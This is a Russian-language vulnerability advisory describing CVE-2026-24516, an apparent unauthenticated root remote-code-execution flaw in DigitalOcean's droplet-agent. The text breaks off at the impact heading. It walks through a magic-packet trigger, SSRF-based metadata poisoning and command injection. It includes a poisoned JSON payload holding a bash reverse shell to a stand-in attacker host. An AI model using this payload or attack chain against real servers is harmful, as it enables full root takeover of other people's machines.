
Технический анализ и PoC для CVE-2026-24516: неаутентифицированное удалённое выполнение кода с правами root в DigitalOcean Droplet Agent (CVSS 10.0).
ID: CVE-2026-24516
НАЗВАНИЕ: Неаутентифицированное RCE с правами root через отравление метаданных и побочный канал
КРИТИЧНОСТЬ: Критическая (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
ИССЛЕДОВАТЕЛЬ: Anmol Singh Rajput (@poxsky)
ЗАТРОНУТО: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
'droplet-agent' — это привилегированный системный демон (UID 0), предназначенный для удалённой телеметрии и диагностики. Он поддерживает пассивное состояние мониторинга до получения определённой сигнальной последовательности. Основная уязвимость заключается в «модели неявного доверия» к сервису метаданных link-local (169.254.169.254), который не имеет криптографических проверок целостности.
A. ПАССИВНЫЙ TCP ПОБОЧНЫЙ КАНАЛ (СИГНАЛЬНЫЙ УРОВЕНЬ) Агент использует слушатель raw-сокета (internal/metadata/watcher/ssh_watcher.go) на порту 22. Он выполняет переход состояния из IDLE в ACTIVE на основе жёстко заданных магических констант в заголовке TCP:
Анализ: Это создаёт детерминированный триггер. Внешний злоумышленник может выдать себя за плоскость управления инфраструктурой, подделав один TCP SYN-пакет с этими магическими значениями.
B. НАРУШЕНИЕ ГРАНИЦЫ ДОВЕРИЯ (УЯЗВИМОСТЬ LINK-LOCAL) После сигнала агент извлекает JSON-инструкции из конечной точки облачных метаданных. Уязвимость заключается в отсутствии проверки подлинности. Агент рассматривает зону 169.254.169.254 как «укреплённую доверенную зону», не проверяя подписи полезной нагрузки (HMAC/mTLS).
C. ТОЧКА ВХОДА: НЕСАНИТИЗИРОВАННАЯ ИНЪЕКЦИЯ КОМАНД 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) содержит точку входа, где он разбирает массив 'requesting'.
ИМПЕРСОНАЦИЯ: Злоумышленник выявляет SSRF в размещённом приложении для проксирования запросов к сервису метаданных link-local.
ОТРАВЛЕНИЕ: Злоумышленник настраивает вредоносный сервер метаданных, возвращающий: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
СТУК: Злоумышленник отправляет TCP-триггер "DODO-TTY" на порт 22.
ВЫПОЛНЕНИЕ: Агент извлекает отравленный JSON и выполняет обратную оболочку с ЭФФЕКТИВНЫМ UID 0 (Root).
ОЦЕНКА ВОЗДЕЙСТВИЯ
